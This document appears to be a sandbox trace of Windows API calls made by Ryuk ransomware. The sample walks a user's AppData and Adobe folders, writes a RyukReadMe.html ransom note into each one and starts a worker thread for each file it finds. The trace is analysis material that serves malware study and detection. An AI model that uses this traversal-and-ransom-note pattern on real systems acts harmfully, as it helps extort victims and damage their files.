	[0199.502] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0199.502] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x102a0, dwReserved0=0xb0, dwReserved1=0x0, cFileName="wscRGB.icc", cAlternateFileName="")) returned 1
	[0199.502] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0199.503] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x354
	[0199.555] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0199.876] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0xb0, dwReserved1=0x0, cFileName="wsRGB.icc", cAlternateFileName="")) returned 1
	[0199.876] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0199.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ac
	[0199.915] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0200.227] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0xb0, dwReserved1=0x0, cFileName="wsRGB.icc", cAlternateFileName="")) returned 0
	[0200.227] FindClose (in: hFindFile=0x29ed40 | out: hFindFile=0x29ed40) returned 1
	[0200.228] SetLastError (dwErrCode=0x0) 
	[0200.228] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x358
	[0200.228] GetLastError () returned 0x0
	[0200.228] WriteFile (in: hFile=0x358, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x110968, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x110968*=0x273, lpOverlapped=0x0) returned 1
	[0200.231] CloseHandle (hObject=0x358) returned 1
	[0200.232] FindNextFileW (in: hFindFile=0x29eaa0, lpFindFileData=0x110a20 | out: lpFindFileData=0x110a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce6f3c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa4, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0
	[0200.232] FindClose (in: hFindFile=0x29eaa0 | out: hFindFile=0x29eaa0) returned 1
	[0200.232] SetLastError (dwErrCode=0x0) 
	[0200.232] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x384
	[0200.232] GetLastError () returned 0xb7
	[0200.233] CloseHandle (hObject=0x384) returned 1
	[0200.233] FindNextFileW (in: hFindFile=0x29e980, lpFindFileData=0x111150 | out: lpFindFileData=0x111150*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x98, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 0
	[0200.233] FindClose (in: hFindFile=0x29e980 | out: hFindFile=0x29e980) returned 1
	[0200.233] SetLastError (dwErrCode=0x0) 
	[0200.233] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x390
	[0200.233] GetLastError () returned 0xb7
	[0200.233] CloseHandle (hObject=0x390) returned 1
	[0200.234] FindNextFileW (in: hFindFile=0x29e500, lpFindFileData=0x111880 | out: lpFindFileData=0x111880*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0200.234] SetLastError (dwErrCode=0x0) 
	[0200.234] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x390
	[0200.234] GetLastError () returned 0xb7
	[0200.234] CloseHandle (hObject=0x390) returned 1
	[0200.234] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\*.*", lpFindFileData=0x111150 | out: lpFindFileData=0x111150*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x98, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29e980
	[0200.235] FindNextFileW (in: hFindFile=0x29e980, lpFindFileData=0x111150 | out: lpFindFileData=0x111150*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x98, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0200.235] FindNextFileW (in: hFindFile=0x29e980, lpFindFileData=0x111150 | out: lpFindFileData=0x111150*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x98, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0200.235] SetLastError (dwErrCode=0x0) 
	[0200.235] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x384
	[0200.236] GetLastError () returned 0xb7
	[0200.236] CloseHandle (hObject=0x384) returned 1
	[0200.236] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\*.*", lpFindFileData=0x110a20 | out: lpFindFileData=0x110a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xba, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eaa0
	[0200.236] FindNextFileW (in: hFindFile=0x29eaa0, lpFindFileData=0x110a20 | out: lpFindFileData=0x110a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xba, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0200.236] FindNextFileW (in: hFindFile=0x29eaa0, lpFindFileData=0x110a20 | out: lpFindFileData=0x110a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xba, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0200.236] SetLastError (dwErrCode=0x0) 
	[0200.236] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x358
	[0200.237] GetLastError () returned 0xb7
	[0200.237] CloseHandle (hObject=0x358) returned 1
	[0200.237] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ed40
	[0200.237] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0200.237] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46de4010, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46de4010, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc6, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0200.237] SetLastError (dwErrCode=0x0) 
	[0200.237] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0200.238] GetLastError () returned 0xb7
	[0200.238] CloseHandle (hObject=0x3e8) returned 1
	[0200.238] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46de4010, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46de4010, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec80
	[0200.238] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46de4010, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46de4010, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0200.238] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x470ddb90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x8a42, dwReserved0=0xd6, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst", cAlternateFileName="ADOBEC~1.LST")) returned 1
	[0200.238] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0200.239] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x32c
	[0200.310] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0200.311] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x47129e50, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x21df2, dwReserved0=0xd6, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst", cAlternateFileName="ADOBES~1.LST")) returned 1
	[0200.311] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0200.311] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x398
	[0200.364] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0200.366] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x46e0a170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46e0a170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd6, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0200.366] SetLastError (dwErrCode=0x0) 
	[0200.366] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8
	[0200.366] GetLastError () returned 0xb7
	[0200.366] CloseHandle (hObject=0x3c8) returned 1
	[0200.367] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x46e0a170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46e0a170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xe0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ece0
	[0200.367] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x46e0a170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46e0a170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xe0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0200.367] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x47801d90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xd0e2, dwReserved0=0xe0, dwReserved1=0x0, cFileName="AcroFnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 1
	[0200.367] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0200.368] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c4
	[0200.496] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0200.497] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46e0a170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46e0a170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46e0a170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xe0, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0200.498] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46e0a170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46e0a170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46e0a170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xe0, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0200.498] FindClose (in: hFindFile=0x29ece0 | out: hFindFile=0x29ece0) returned 1
	[0200.499] SetLastError (dwErrCode=0x0) 
	[0200.499] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8
	[0200.499] GetLastError () returned 0xb7
	[0200.499] CloseHandle (hObject=0x3c8) returned 1
	[0200.500] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46de4010, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46de4010, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46de4010, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xd6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0200.500] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xee0c3750, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0xd6, dwReserved1=0x0, cFileName="SharedDataEvents", cAlternateFileName="SHARED~1")) returned 1
	[0200.500] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0200.501] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c8
	[0200.938] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0201.113] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0xd6, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 1
	[0201.113] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0201.114] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4
	[0201.120] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0201.121] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0xd6, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 0
	[0201.121] FindClose (in: hFindFile=0x29ec80 | out: hFindFile=0x29ec80) returned 1
	[0201.121] SetLastError (dwErrCode=0x0) 
